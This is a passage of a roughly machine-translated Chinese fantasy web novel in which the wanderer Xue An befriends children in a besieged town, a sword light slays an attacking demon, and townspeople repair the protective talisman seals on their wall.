    "What''s your name?" Seeing the heartfelt smiles of these children, Xue An''s mood improved, and asked with a chuckle.


    The little girl shook her head, "I don''t have a name, and my mother calls me Ruier!"


    "Rui Er..."


    The little girl nodded, "Well, big brother, thank you for the candy you gave us. This is the best thing we have ever eaten!"


    Xue An smiled, then bent down and pointed to the small basket that was placed aside, "These candies are all you traded for, so don''t say thank you! And..."


    Xue An said with a smile: "We are friends now, let alone thank you!"


    "Friend..." Xiao Rui whispered softly, and nodded happily, "Hmm!"


    At this moment, there was a noise from outside the courtyard, and then a group of people broke in.


    Walking in front was the young boy Xing Yushu, and behind him was a bunch of folks.


    These people broke in fiercely, their faces were full of anger, and they wanted to attack directly.


    can wait to see these intoxicated children eating candy in the yard, all these people can''t help being stunned.


    Xiaorui also screamed when he saw the visitor.


    "Mother, why are you here?"


    The shabby middle-aged woman in the crowd was Xiao Rui''s mother. When she saw that her daughter was safe and sound, she couldn''t help letting out a sigh of relief, waiting to hear her daughter''s questioning.


    This middle-aged woman couldn''t help showing a touch of shame on her face, and then she couldn''t help but grabbed Xiao Rui''s arm and walked outside.


    Xiaorui did not dare to resist, so she could only turn her head and shout in an immature voice: "Goodbye big brother!


    Xue An nodded with a smile, "Goodbye!"


    Then, those who broke in took their children away.


    In an instant, Xue An and Xing Yushu were the only two left in the lively courtyard just now.


    Xue An stood on the steps, looked at this Xing Yushu quietly, and smiled slightly. "Come in and sit down?"


    Xing Yushu''s complexion was already uncertain, and when he heard Xue An''s words, he couldn''t help but sink even more, and said coldly: "No need!"


    As he said, he took a look at the few pieces of candy paper left on the ground, his eyes stopped slightly, then took a deep breath, and slowly said, "You gave them this candy?"


    Xue An nodded, "Yes! To be precise, it is not to give, but to exchange!"


    While talking, Xue An pointed to the small basket full of dried cakes and steamed buns.


    There was a strange look on Xing Yushu''s face, he took a deep look at Xue An, and then said in a slightly sarcasm.


    "Do you think you are so great?"


    Xue An raised his eyebrows slightly, "Huh?"


    Xing Yushu continued: "Whether you give it or exchange it! Once this group of children have tasted the sweetness of sugar, how should they face this bleak and painful life in the future? Have you ever thought about this?"


    As he said, Xing Yushu looked at Xue An coldly, and mocked: "Of course you don��t think about it, because you just pass by occasionally and then send kindness. After a few days, you won��t even remember. What happened here! Am I right?"


    In the face of Xing Yushu''s "aggressive" words, Xue An was not angry at all, but laughed, and then looked at this young man with interest, but in his words he seemed to have experienced the vicissitudes of life.


    "Listening to you, it seems that I shouldn''t give them sugar?"


    "of course!"


    Xue An nodded, and suddenly said, "But have you ever thought about it, no matter how bleak and sorrowful life is, there must be some hope! Otherwise, wouldn''t it be true to die in despair?"


    "I did this, not as you said, to satisfy my kindness! I just like these kids! And what I give them is a thought, and no matter how sad they are in the future, they will still feel sweet. Nian think, is this... wrong?"


    Xue An''s remarks made Xing Yu''s writing white, and then he lowered his head blankly.


    "One thought..." Xing Yushu muttered softly, seemingly fascinated.


    Xue An didn''t speak either, just watched quietly.


    After a while, I saw this Xing Yushu raised his head and took a deep look at Xue An, then turned away.


    Xue An suddenly sighed, "Nine out of ten unsatisfactory things in this world, and those who want to carry all of these on their shoulders will only slowly collapse, so I think you should always think about it. A wishful one or two!"


    Hearing what Xue An said, Xing Yushu''s figure trembled slightly, and he paused for a while, but finally left in strides.


    Xue An raised his head and looked at the sunlight that was gradually falling west, his eyes were shining brightly, and he whispered softly: "No matter who it is, since I have the inheritance of Taoism, I will help you!"


    As the sun gradually disappeared, the atmosphere of the entire Fengdemon Town became more and more solemn.


    There is no one on the street early.


    Everyone closed their doors and shivered under the bed.


    Only Xue An cleaned a stone table in the hospital, took out the tea set from the portable space, and started to make tea.


    Dark night falls on the earth, and the red moonlight casts a weird veil on everything.


    The breeze was breeze, Xue An slowly drank the hot tea, the brilliance flickered in his eyes.


    Finally the moon is in the sky.


    At the same time, only listening to the distant sky, there was a faint grin.


    The laughter was hollow and evil, and it spread far and wide in this dark night.


    In the vermilion small building, Xing Yu''s writing color changed, and Huo Shengqi, "Grandpa!"


    Xing Yuhe lying on the bed said solemnly: "I heard it, sit down and don''t move!"


    "But..."


    "sit down!"


    "Yes!"


    Xing Yushu sat down again unwillingly, but his face was full of anxiety.


    can send laughter into the town through the talisman seal on the city wall and the protection of the two soul-slashing lamps, it can be seen that the demons are absolutely extraordinary.


    Is it really possible to withstand the seals laid by grandpa alone?


    Xing Yushu was a little worried.


    But this Xing Yuhe face sank like water, without the slightest fright.


    at the same time.


    Outside the town, a gust of demon wind blew across it wildly, before and after arriving in the town, it slowly dissipated, and the figure inside appeared.


    This is a demon that is scary enough.


    Its height is tens of feet, the whole body is blue, the first has double horns, and the face is extremely hideous.


    But this is not the most important thing, I saw something faintly squirming in his stomach. .


    Under the shaking of the demon''s figure, he could see clearly that those wriggling were all painful faces.


    These human faces are trapped in the belly of the demon, and they are struggling crazily. You can even hear the howls inside.

 Chapter 1247： 9 words of mantra, 1 sword to heaven

    Such sights are simply numb to the scalp.


    At the same time, I saw the demon wrinkling his nose and smelling it, and then he smiled strangely all over his face.


    "That stinky lady really died here, tsk! She seemed to have been killed by a single blow, and she couldn''t even escape a trace of ghosts. It seems that he should be a strong one who has passed by!"


    As he said, the demon''s face showed excitement, "But if the king knows about this, he will definitely be angry with this demon town. It is better for me to slaughter the crowd here now. Go back and claim credit in front of the king!"


    After the demon said, greedy saliva flowed from the corner of his mouth, and he said to this demon-sealed town: "Don''t blame me, who made you so unlucky? And your humans living in this world are a waste of food. Why not obediently feed into my belly to make fertilizer! Hahahaha!"


    After talking to himself for a while, the demon became more and more excited, and then rushed towards this sealed demon town, panting.


    Boom!


    When his figure just rushed into the town two hundred feet away, he saw the talisman seal written on the city wall all showing golden light, all aimed at the monster.


    Wherever the golden light spreads, the body of the demon is burnt with wisps of smoke.


    This kind of pain makes the demon even more crazy, and he grinned and said: "It is actually a gang of **** means, but the strength is too weak!"


    said, the demon ghost crossed the distance of one hundred feet in a few steps and came to the town wall.


    At this time, the golden talisman seal on the city wall became more and more dazzling, and there were bursts of singing voices, resisting the demon''s attack.


    But when the golden light flickered, the demon''s body quickly melted like a candle.


    The demon couldn''t help but become angry from embarrassment, "Give me...broken!"


    A thick ghost gas took shape in an instant, rushing straight to the barrier formed by these golden talisman seals.


    After a loud bang, the whole town shook.


    All the residents of the small town were scared to death, and some of them were timid and fainted.


    At the same time, those golden talisman seals also heard bursts of cracking sound, which is a symbol of reaching the limit.


    can be at this moment.


    I saw Xing Yuhe in the vermilion small building suddenly lifted his eyes and uttered a soft drink, "Daofa world, the demon is the leader, come!"


    gave an order.


    But seeing the two soul-slashing lamps hanging beside the city gate suddenly exploded, and then two bright red lights rushed out from them, merged into one, and landed directly on the head of the demon.


    pointed by the red light, the demon''s movements became slow.


    Xing Yuhe, who was lying on the bed, had already sat up at some point, and shouted coldly again: "Bing!"


    With an order, the red light instantly condensed into a small sword.


    "Fight!" Xing Yuhe trembled all over, but he managed to endure the word.


    Boom!


    Xiaojian turned into streamer, and came straight to this demon.


    But in this situation, I saw the monster laugh, "Nine-character mantra? Unfortunately, you only have the first three characters, so you want to kill me because of this?"


    After that, the demon raised the palm of the ghost and slapped it directly at the small sword.


    But at the moment when the ghost palm will not touch, in the vermilion small building, Xing Yuhe''s mouth and nose bleed, but he drank a word very firmly.


    "By!"


    comes out in one word.


    The speed of this small sword increased by more than ten times in an instant, and after a short while, it stepped over the obstacle and came to the head of this demon.


    The demon screamed, but it was too late to dodge, so he could only grit his teeth and resist the sword.


    Click!


    After a small, crisp sound, the demon screamed, and most of his head was cut off.


    Then a little crack appeared on this small sword, and finally it broke apart.


    As the sword shattered, in the vermilion small building, Xing Yuhe spewed out another mouthful of blood, and then thumped and fell onto the bed, unconscious.


    "Grandpa!" Xing Yushu exclaimed, rushed forward and hugged Xing Yuhe.


    But seeing him as dead, he was obviously injured very badly, but fortunately his breath was still there.


    Xing Yushu couldn''t stop his tears, and was shaking all over.


    At the same time, outside the town, the demon''s angry roar came.


    "Cow nose, dare to hurt me, I will break your body into pieces!"


    Yes, this blow can only be regarded as hurting this demon.


    Because for the demon who has swallowed countless souls, not to mention the head being cut in half, even if it is blown to pieces, it can be repaired.


    But this kind of severe pain is real, so this demon is full of anger, just want to kill the person who attacked him and then hurry up.


    These murderous roars made the entire Feng Demon town tremble slightly.


    The faces of the people hiding in the house were ashen ashes, and they felt that they were bound to die.


    Many people even sobbed lowly.


    And the little girl, Xiao Rui, suddenly remembered something, took out the candy in her arms, stuffed it into her mouth, chewing frantically.


    At the same time, I saw Xing Yushu gently placing his grandfather on the pillow, then slowly got up, the light of the talisman around his body flickered, and he walked out.


    Grandpa, as you said, there are no cowards in the Xing family, even if it is... I am the same!


    But the moment he just walked out of the vermilion building, the sky suddenly lit up.


    Xing Yushu shocked all over, then looked up with horror on his face.


    It turned out that it was not dawn, but from above the sky, there was an extremely bright streamer straight down, reflecting the entire sky.


    Target, point directly at this demon.


    This demon was originally full of ambition.


    Because despite some injuries, it is harmless at all.


    The point is that this small town is clearly unable to sustain it.


    The momentum that had just shot himself hurt himself was so weak that he was almost undetectable, indicating that he was seriously injured.


    Except for him, there are no strong people in the whole town.


    Oh, no, there seems to be a teenager!


    is the strength of Xing Yushu, in the eyes of this demon, it is a complete joke.


    So the current Fengmozhen is like a piece of dessert for this demon, you can eat it at will.


    But just when he was about to do it with a grin, a warning bell suddenly rang in his heart, and the aura began to vibrate wildly.


    Because he felt a strong killing intent falling from the sky.


    This caused him to shake his whole body, and then ran out without even lifting his head.


    It doesn''t matter who the opponent is, but since he can perform such tricks, it is not something that he can provoke.


    With this thought, the green-faced demon is about to run away. .


    But at this moment, he was very horrified to find that, not to mention running away, with the Qi machine locked, he couldn''t even move his steps.


    This made the green-faced demon horrified, and then raised his head to look at the streamer that was cutting straight down, and opened his mouth in despair, wanting to say something.

 Chapter 1248： Strong sword immortal, Dao Fa chance

    But everything is too late.


    At this moment, this stream of light has already flew close.


    At this time, Xing Yushu could see clearly, where is the streamer, it was clearly a bright sword light.


    at the same time.


    just after hearing a muffled sound.


    The streamer cut straight past without hindrance.


    Then the demon''s figure froze in place.


    Everything became quiet.


    The sword light disappeared after cutting the demon.


    The talisman seal that had just exuded golden light on the city wall also returned to normal.


    Xing Yu stared blankly.


    At this moment, a thin crack appeared in the body of this demon, and then it widened sharply.


    In an instant, the demon split into two halves, and then slowly fell down.


    But before it fell to the ground, this body turned into dust and disappeared.


    At this point, the demon ghost who had just returned to the military and the prestige has died.


    Xing Yushu''s eyes can''t believe it.


    He can naturally feel the power of this demon. It can be said that even if his grandfather is not injured, it is estimated that it will be difficult to defeat.


    So just now Xing Yushu has already decided to fight to death.


    Unexpectedly, this demon was cut into nothingness with a single sword.


    How powerful is this to have such power?


    Could it be the strong one passing by?


    Xing Yushu''s heart was uncertain, and he looked up at the night sky.


    Suddenly, as if he had remembered something, he raised his foot and ran away.


    Before he came to the courtyard where Xue An lived, he raised his hand to smash the door, but the door slowly opened.


    Xue An stood behind the door and smiled at Xing Yushu, "Brother Xing, haven''t slept so late? Just so, I just wanted to find you, what was that stuff just now?"


    Xing Yushu looked at Xue An with a gentle smile, his eyes flickering.


    He did suspect that the sword light was displayed by this guy who didn''t know where it came from.


    But after seeing Xue An, the thought suddenly disappeared.


    Because no matter how you look at it, there is nothing surprising about this boy in white except for his indifferent temperament.


    And listening to what he meant, he didn''t seem to know what the demon was just now?


    Thinking of this, Xing Yushu lowered his head and said softly: "It''s nothing, go back to sleep honestly, don''t mess up if nothing is wrong!"


    After that, Xing Yushu turned and left.


    Xue An looked at his back, smiled, closed the door again, then looked at the sky in the distance, and said lightly.


    "Even the nine-character mantra is spread, and things are getting more and more interesting!"


    When Xing Yushu returned to Zhuhong Xiaolou, Xing Yuhe had regained some consciousness, but now he was extremely weak and didn''t know what was happening outside. He just felt that the breath of the demon just disappeared, and he was a little surprised. .


    When seeing Xing Yushu come in, he insisted and asked: "What''s the matter? What''s the situation outside?"


    Xing Yushu did not speak, but went straight to the bed, standing there blankly!


    "Yu Shu, what''s going on outside? What about that demon?" Xing Yuhe asked anxiously.


    "Dead...dead!"


    "Dead?" Xing Yuhe breathed a sigh of relief, "Is he killed by the nine-character mantra?"


    Xing Yushu shook his head, "No!"


    Xing Yuhe was taken aback, "What''s going on?"


    After hitting that sword, he lost consciousness, naturally he didn''t know what was happening outside.


    Xing Yushu took a deep breath, trembling slightly, and said with a bit of horror on his face: "Yes... there is a sword light falling from the sky, directly cutting this monster into nothingness!"


    Xing Yuhe was also shocked when he heard the words. Under his emotions, he affected the old wounds, and he couldn''t help but cough again.


    Xing Yushu just woke up from the loss just now, and rushed forward to massage his grandfather.


    After a long while, Xing Yuhe slowed down, and then he couldn''t wait to say: "Tell me exactly what happened just now!"


    Xing Yushu nodded, did not dare to hide anything, and directly said everything.


    After listening, Xing Yuhe was silent.


    And Xing Yushu whispered: "Grandpa, I suspected that the guy did it at the time, but after I passed by, I found out that he didn''t seem to know it."


    Xing Yuhe shook his head when he heard the words, "It shouldn''t be him. After all, as you said, the power of that sword has exceeded the category of the general strong, reaching the peak! And someone who can possess such swordsmanship, even if it is It is one of the few in the entire continent. It can only be achieved after hundreds of years of tempering. It is absolutely impossible for such a teenager to have!"


    "Then you mean..."


    Xing Yuhe sighed quietly: "It should be a strong sword fairy who passed by!"


    Xing Yushu listened leisurely and fascinated, "Sword fairy! Grandpa, is there really a sword fairy in this world?"


    Xing Yuhe chuckled and shook his head, "Of course there are, and they are all extremely powerful people!"


    "Is it stronger than your teacher?" Xing Yushu asked quietly.


    Xing Yuhe looked down, "It''s incomparable, but my master''s heritage is extremely old and powerful. I''m just one of the unremarkable disciples!"


    Speaking of this, Xing Yuhe stretched out his hand with difficulty, and gently stroked Xing Yushu��s head, ��Yushu, I was trapped by my talentsachievement was extremely limited, but you are different from me. Your talent is far better than me at the beginning, so I hope that after you inherit my opportunity and worship as a teacher in the future, you will cultivate well and must surpass me!"


    Xing Yushu heard the words, tears in his eyes, sadly bowed his head, "Grandpa, I don''t want any chance, I want to be with you!"


    "Stupid boy, you can say these things to me. Don''t just talk to outsiders, because you know how precious this opportunity is? If it''s not because I''m not dead, you can''t inherit it, so why should I let you wait here? How long is it?"


    Speaking of this, Xing Yuhe''s expression became a little sad.


    "But..." Xing Yushu still wanted to say something.


    Xing Yuhe raised his eyebrows and said angrily: "But what? Did you forget what I told you before?"


    "Yu Shu dare not forget!" Seeing his grandfather''s anger, Xing Yushu hurriedly bowed his head and said with a trembling voice.


    "As a child of the Xing family, how can you be so confused? You know how many people looked at me because of my chance, but you lost your aggressiveness because of your emotions?"


    Xing Yu''s writing is whitish and her lips are closed tightly.


    Xing Yuhe turned the conversation around when he saw this, and said softly: "You have also seen the appearance of a real fairy today. Naturally, you understand how valuable the opportunity to have this kind of power is, so don''t say these silly things in the future, understand?"


    "Huh!" Xing Yushu responded in a low voice. .


    At this time, there was a **** crowing outside the window.


    Xing Yuhe said lightly: "It''s dawn, help me to get up and see how the talisman seal on the wall is going!"

 Chapter 1249： Fu Zhuan was destroyed

    When the first ray of sunlight in the morning shone on the earth, Feng Devil Town also regained consciousness.


    People opened doors and windows cautiously, looking at the situation outside with lingering fears.


    Although they didn''t witness the battle last night, they heard the creepy howls.


    Especially at the end, when the entire Fengdemon Town was trembling, almost everyone felt desperate, thinking that they would definitely die.


    Unexpectedly, at this moment, a flash of light flashed outside, and then everything returned to silence.


    Despite this, no one dared to stick out their heads to see what was going on. They could only wait for the dawn to come in extreme anxiety and anxiety.


    At this moment, when they saw the situation outside, everyone couldn''t help taking a sigh of relief, and felt a sense of rejoicing in their hearts.


    But at this moment, only hearing a soft creak, the door of Zhu Hong Xiaolou was pushed open, and Xing Yushu slowly walked out of it.


    On his back, he was carrying Xing Yuhe, who was very weak due to being in bed for a long time.


    Seeing the grandfather and grandson, everyone''s expressions became very solemn, and they looked at them with admiration.


    Xing Yushu carried his grandfather on his back and walked slowly through the silent streets.


    Every time you pass, someone will follow you silently behind you.


    When walking through the long street, almost all the residents of Fengmo Town had walked out of the room, and followed silently.


    When the guard of the city gate saw that it was Xing Yushu, they quickly opened the city gate.


    Everyone walked out of the city gate.


    What caught my eye was a shocking sight.


    But seeing that there were cracks on the city wall, most of the talisman seals carved on it were damaged by this.


    Seeing this scene, everyone''s hearts couldn''t help but sink.


    Because of this kind of damage, it means that all the talisman seals that Xing Yuhe spent countless efforts to arrange before have been put into waste.


    Without the protection of Fuzhuan, this sealed demon town could not withstand the invasion of those demons at all. It may not be long before it will be occupied by demons like those ancient towns that disappeared in the jungle and become a dead place.


    Everyone''s expressions became very ugly, especially Xing Yushu, whose face was so gloomy that it could drip water.


    Xing Yuhe just glanced at these badly damaged Fu seals and then smiled.


    "Jade Book, take a few steps forward!"


    Xing Yushu walked a few steps forward with his grandfather on his back, until Xing Yuhe whispered, "Okay!"


    Xing Yushu just stopped.


    Then Xing Yuhe looked around, his complexion gradually became serious, and finally he slowly closed his eyes.


    For an instant, everyone watched attentively, not even dare to come out.


    Xiao Rui also stood in the crowd with her mother, but her attention was obviously not on these.


    She shook her head, her big eyes were full of hope, as if she was looking for something.


    At this moment, Xue An slowly walked over to the street.


    The moment she saw Xue An, Xiao Rui''s face burst into a bright smile. Although she did not dare to shout, she waved her hand vigorously in an attempt to attract Xue An''s attention.


    Xue An''s arrival did not attract the attention of others.


    And when Xue An saw the excited Xiao Rui, he couldn''t help but smile, nodded at her, and then raised his head to look at the two of Xing Yuhe and his grandson in the distance.


    At this moment, Xing Yuhe slowly opened his eyes, a look of astonishment and solemnity appeared in his eyes.


    "Grandpa, what''s the matter?" Xing Yushu hurriedly asked.


    Xing Yuhe said solemnly: "What a powerful sword intent, even stronger than the sword immortals I have met before, but apart from that, there is no identity or imprint."


    "Then is it really a strong sword immortal who passed by?" Xing Yushu asked


    "Now it seems that only this is possible!"


    "Then why did he leave without contacting us after giving a helping hand?" Xing Yushu was a little surprised.


    Xing Yuhe smiled bitterly and shook his head, "How can we imagine a fairy like that? Maybe people just pass by occasionally and see demons causing trouble, so they just helped us! After all, they can send out this way. The strong sword intent is no different from the fairy!"


    Xing Yuhe''s voice was full of exclamation.


    Xing Yushu showed a leisurely fascination.


    At this time, Xing Yuhe looked up at the city wall, a complex brilliance flashed in his eyes, and then he said in a deep voice: "With this repression of the remaining sword intent, for at least three days, no demons will dare to make trouble, which means we only have Three days to repair the seals on the walls! Yushu..."


    Xing Yu''s written expression condensed, "Grandpa!"


    "I don''t have enough energy to repair so many characters, so you have to help this time!"


    "Me?" Xing Yushu''s face was full of surprise.


    Xing Yuhe nodded, "Yes!"


    "But...I never did it!" Xing Yushu still hesitated.


    Xing Yuhe smiled, "Who will be born? Although it is a bit early to do this at your age, but I am running out of time. If I don��t teach you this while I��m still there, that��s true. There is no chance!"


    When Xing Yushu heard this, there was a look of grief in his eyes, but Xuan even lowered his head deeply, "Yes!"


    At this time, Xing Yuhe raised his head and looked at the crowd, "You fellow villagers, you have seen the current situation. Time is running out. If we want to repair the city wall and the talisman seal as soon as possible, we must all work together!"


    As soon as these words came out, the crowd immediately boiled.


    "Father Xing rest assured, these things are for everyone''s safety, and we are naturally responsible!"


    "Yes, if you have anything to do, please come down, I will wait for nothing!"


    "Master, your health is not good as long as you direct here, I will take care of everything!"


    Amid these drum noises, Xing Yuhe smiled and nodded, "Thank you, thank you! But the repair of the city wall is easy to say, but if you want to repair the seal, you must have someone who can write to help. I wonder if you can be literate?"


    As soon as these words came out, the crowd who had just boiled quieted instantly, and the people looked at each other, and they all showed embarrassment.


    Seeing this scene, Xing Yuhe sighed slightly. He had already expected this result.


    After all, for people like them, even survival is a problem, so there is no mood to read or write.


    What''s more, on this continent, reading and literacy are the privileges of nobles, and it is very rare for ordinary people to write their own names.


    Now it seems that I can only rely on my grandfather and grandson.


    Just as Xing Yuhe smiled bitterly and was about to give up.


    After listening to the crowd, there was a calm voice.


    "Let me do it!"

 Chapter 1250： Pen go dragon snake

    �!


    Everyone turned their heads together, and their eyes instantly focused on the speaker.


    Xiaorui in the crowd is no exception, but after seeing the speaker, her eyes can''t help but gradually widen.


    I saw Xue An standing calmly, smiling at Xing Yuhe, "I happen to be able to write a few words, and now I am borrowing in the city again, so I should help!"


    Hearing what he said, Xing Yuhe was slightly startled, then took a deep look at Xue An, then smiled and nodded, "If that''s the case, then it will be hard work!"


    But Xing Yushu was a little dissatisfied with this decision, but his grandfather had already agreed, and he couldn''t say anything, so he could only look at Xue An with a cold look, and then went down to prepare.


    Time is running out, people dare not delay, they all start to get busy.


    Xiaorui walked over timidly, and some admiration said: "Big brother, can you still write?"


    Xue An smiled and nodded, "Yes!"


    "Wow, that''s amazing!" Xiao Rui''s eyes are full of admired stars.


    Xue An smiled, "Do you want to learn?"


    "I... can I?" Xiao Rui pointed to herself, and asked in disbelief.


    "Why not, as long as you want to learn, of course you can!"


    Xiaorui almost jumped from the ground, and said excitedly: "Thank you, big brother!"


    At this time, Xiao Rui''s mother also came over, but this time, the middle-aged woman no longer beware of Xue An, but nodded respectfully.


    Not only her, the eyes of everyone around Xue An are already full of respect.


    After all, for them, people who can write are worthy of respect.


    , just like this Xing Yuhe who saved the entire town, he is a truly capable person.


    What''s more, Xue An is now helping to repair the talisman seal of the city wall, which has won the respect of everyone.


    There are not too many residents in Fengma Town, but it is a matter of everyone''s safety, so there is no need to mobilize at all, and people start to get busy as fast as they can.


    Soon, the complicated preparations are ready.


    Xing Yuhe leaned on a special hospital bed and directed the crowd.


    The outside of Fengma Town has become a construction site, and people are busy in an orderly manner.


    Men are responsible for heavy physical tasks such as laying stones, while women use special mortar to smear the gaps, so as to ensure the solidity of the city walls.


    Even a child like Xiao Rui did not sit idle, but tried his best to fight on the sidelines.


    Everyone is busy. Despite their hard work, no one cries out because of their own life and death. Instead, they keep on strengthening the walls for fear of not being strong.


    But these things they did were nothing more than a psychological comfort, and the real protective effect had to be the seals on the city wall.


    Because of the tight time, whenever a city wall is repaired, Xing Yushu will immediately start to repair it.


    Although it was the first time to complete the talisman seal on his own, because of the guidance of his grandfather, it went smoothly.


    can seal amulet carving is an extremely meticulous and rigorous process, and any mistakes in the process will lead to abandonment of previous efforts.


    In addition, Xing Yushu is inexperienced, so it is almost impossible for him to repair so many seals in this short three-day period.


    That''s why Xing Yuhe finds someone who can write.


    He first asked Xing Yushu to trace all the lines of the seal to ensure that there would be no mistakes, and Xue An was responsible for completing the remaining steps later.


    Although it sounds easy, it is actually difficult.


    After all, the lines of these seals are often extremely complicated, and if you make a mistake in the strokes, there will be errors.


    So Xing Yuhe originally wanted to let Xue An adapt and then put in work, but he didn''t expect that when Xue An picked up the pen, he could easily complete all the symbols that needed to be copied.


    And the line is clear and clear, and the quality is very high.


    This surprised both Xing Yuhe and Xing Yushu.


    Xue An just smiled at this, "I forgot to tell you, I liked drawing very much before, so these lines are too simple for me!"


    This answer made Xing Yuhe, who was worried about the progress of the project, relieved, then smiled and nodded, "Xue Gongzi really knows Zhuoran, amazing!"


    Although Xing Yushu has always looked at Xue An a little awkward, but at this moment he had to bow his head and thought to himself silently.


    This guy is not completely incompetent!


    As for the other people in the town, they respect Xue Ana even more, and they must be called Mr.


    And Xue An''s indifferent attitude and always smiling expression also won the favor of many people.


    even caused many girls in the small deer to run into chaos, often using various opportunities to talk to Xue An.


    But no matter who it is, Xue An always just smiled and nodded, his expression was full of alienation, and he never showed unnecessary closeness to any girl.


    This also makes many girls feel depressed.


    But Xue An is very close to the children of Xiao Rui, and often rewards them with candies.


    This also made him quickly incarnate as the head of a child in the small town of Feng Mo, and became an idol in the hearts of these children.


    Especially Xiao Rui, who has become Xue An''s little follower.


    As long as they are free, a group of children will gather around Xue An and listen to him telling some strange stories ~ www.novelhall.com ~ today is no exception.


    During the rest time after lunch, Xue An finished telling a story about Monkey King''s trouble in the Heavenly Palace.


    This story made the eyes of all the children shine.


    "Wow, is there such a great monkey?"


    "Yes! It sounds so enjoyable!"


    Those adults can''t help but sigh.


    Only Xing Yushu looked indifferently from a distance, but there were some ups and downs in his heart.


    Because he suddenly remembered where he and his grandfather are now, how similar it is to the Monkey King who was crushed under Wuzhi Mountain.


    It''s a pity, I don''t have the power of that monkey! Xing Yushu felt a little sad.


    At this time, Xiao Rui said suddenly: "Big brother, do you still teach us to write today?"


    Because Xue An had promised this little girl before, Xue An will teach them to write as long as he has time in the past two days.


    Speaking of it, the characters here are similar to the ancient Chinese characters, but these people are definitely not Chinese.


    This can''t help but make the doubts in Xue An''s heart thicker.


    But at this moment, when he heard what Xiao Rui said, he couldn''t help but smile, "Today, I won''t teach you to write, how about I draw a picture for you?".


    "Drawing? Good, good!" Xiao Rui and the children cheered with excitement.


    Xue An smiled slightly, then took his pen and ink, and before he came to the gate, he raised his head and looked at the slightly dilapidated gate.

 Chapter 1251： The finishing touch

    When ���� started, Xing Yushu didn''t care.


    Painting is a small technique that Xing Yushu also learned when he was a child, but he no longer studies it anymore.


    Because in this precarious age, unless it is the nobles who are full to spend their time, who is in the mood to study painting?


    But Xue An��s performance now corroborates a guess in Xing Yushu��s mind.


    This guy must be or at least an aristocrat before, otherwise he would not have such a good education and knowledge.


    But other than that, he didn''t even have a trace of spiritual power fluctuations.


    Xing Yushu couldn''t help shaking his head secretly.


    Useless is a scholar.


    This sentence is not a joke at this time.


    This guy has no abilities at all, so he dared to run around outside. It was good luck if he didn''t die!


    Xing Yushu thought for a while, and then planned to leave.


    But at this moment, the crowd let out a cry of exclamation.


    "Wow! So beautiful!"


    "Gosh, it''s like alive!"


    These exclamations made Xing Yushu a little startled, and he couldn''t help but look up.


    Then he was also stunned.


    Just above the city gate, a vivid dragon is taking shape in Xue An''s writing.


    Even though they are far apart, Xing Yushu can still feel the majestic momentum from this dragon.


    At that moment, Xing Yushu even thought that the dragon was alive.


    This can��t help making Xing Yushu a bit silly


    Not to mention anything else, this Xue An is absolutely extraordinary based on this amazing painting technique.


    Even Xing Yuhe couldn''t help being taken aback when he saw the dragon queen drawn by Xue An.


    Finally, Xue An finished the last stroke, and then stepped back a few steps, nodded in satisfaction, then turned his head and smiled at Xiao Rui: "Does it look good?"


    Xiaorui''s eyes are almost looking at flowers. After hearing Xue An''s words, she nodded frantically, "It looks good! Big brother, you are so amazing! But big brother, why does this dragon have no eyes?"


    said, Xiao Rui pointed at the dragon''s head.


    Everyone looked around.


    As expected.


    I saw the dragon''s head, but the place where the eyes should be was blank.


    Xue An smiled, and then gently touched Xiao Rui''s head, "Silly boy, because if I draw eyes, this dragon will come alive!"


    Xiaorui gradually rounded her eyes, apparently she had believed Xue An''s words.


    But the people around were all suspicious after hearing the words.


    Can a dragon come alive by drawing eyes?


    How does this sound like the Arabian Nights!


    Even Xing Yushu couldn''t help being taken aback when he heard the words, and then looked at his grandfather.


    Xing Yuhe shook his head slightly at him.


    Because even he has never heard of the saying that drawing eyes can make a drawn dragon come alive.


    I can''t even do the secret techniques that I have heard.


    Seeing that his grandfather had never heard of it, Xing Yushu couldn''t help but snorted, and the hint of appreciation for Xue An just disappeared.


    Because in his opinion, Xue An is obviously doing this to show off his extraordinaryness.


    This made Xing Yushu disdain, so he turned around and left.


    But his attitude did not affect the worship of Xue An by Xiao Rui and others.


    Wait until three days have passed.


    The restoration of the city wall was finally completed, and all the seals on the city wall were repainted.


    Everyone exhaled.


    No matter what, it��s not easy to survive in this troubled world. As for the bitterness, it��s nothing at all.


    After this incident, Xue An''s status has also risen. No matter where he goes, someone will call him Mr.


    Three meals a day, some people rush to deliver them.


    And Xue An accepts all these frankly and does not refuse.


    But in the vermilion small building, Xing Yuhe''s complexion worsened day by day.


    Xing Yushu did not go out anymore, but waited by his grandfather''s bed all day long undressed, because Xing Yuhe was teaching him everything he knew.


    Every time he said a few words, he would stop and rest for a while, because his physical strength was already extremely weak.


    But even so, Xing Yuhe refused to delay, but clenched his teeth and persisted.


    This made Xing Yushu listen, so he couldn''t help but choke.


    Of course, the outside world has no way of knowing all this.


    Only Xue An looked at this vermilion small building from time to time and sighed slightly.


    And it was when Feng Mozhen returned to peace again.


    On the avenue thousands of miles away from the small town of Wind Demon, a group of people came slowly.


    This team is like walking out of the darkness, dark horses and black carts, everything is black as far as you can see.


    After you get closer, you will be surprised to find that these carriages are three feet off the ground and pass by.


    This also made this team make no sound when it was moving, like a ghost coming out of hell.


    And in this creepy atmosphere, the curtain of the carriage in the middle was gently opened, and then a hand was extended.


    One finger is a slender and beautiful hand.


    Then this hand swayed slightly, and the convoy stopped in an instant.


    Then, in the ground before the carriage, there was a burst of black air.


    When the black air dissipated, inside was a man wearing a black hat, but his lower body turned into layers of mist like a ghost.


    "How far is it?" A cold female voice came from the carriage. As far as the sound wave touched, the darkness quivered slightly.


    "Return to the princess, now I can clearly feel the aura on that old guy, and it is getting stronger and stronger. This shows that this old guy can''t control his injuries, so he can''t suppress the aura in his house. Poison! And judging from the situation that I currently perceive , it does not exceed the range of a thousand miles at most." The black man said with a flattering smile.


    There was a moment of silence in the carriage, and then saw the carriage trembling slightly, and a beautiful woman with cold as ice and pure black lips slowly emerged.


    Seeing her face, everyone in the motorcade bowed their heads, including the man in black.


    The woman ignored this, she just raised her eyes to look at the road that disappeared into the darkness in the distance. After a while, she said coldly: "Since we can feel it, other people can naturally, so we must seize the opportunity. , We have to be ahead of everyone! So I don��t want to listen to the scope, what I want is how far it is and when it will arrive! Do you understand?"


    said, the woman glanced at the man.


    The man trembled all over, and then hurriedly bowed his head, "Princess Baili rest assured, I will do my best to fulfill my mission!"


    "Very good! Now I will start with all my strength. Before tomorrow, I will see him appear in front of me!"


    "Yes!"


    The curtain was lowered again, and the black man wiped the non-existent cold sweat on his forehead a little panic.


    He knows better than anyone the fate of failing to complete the task.


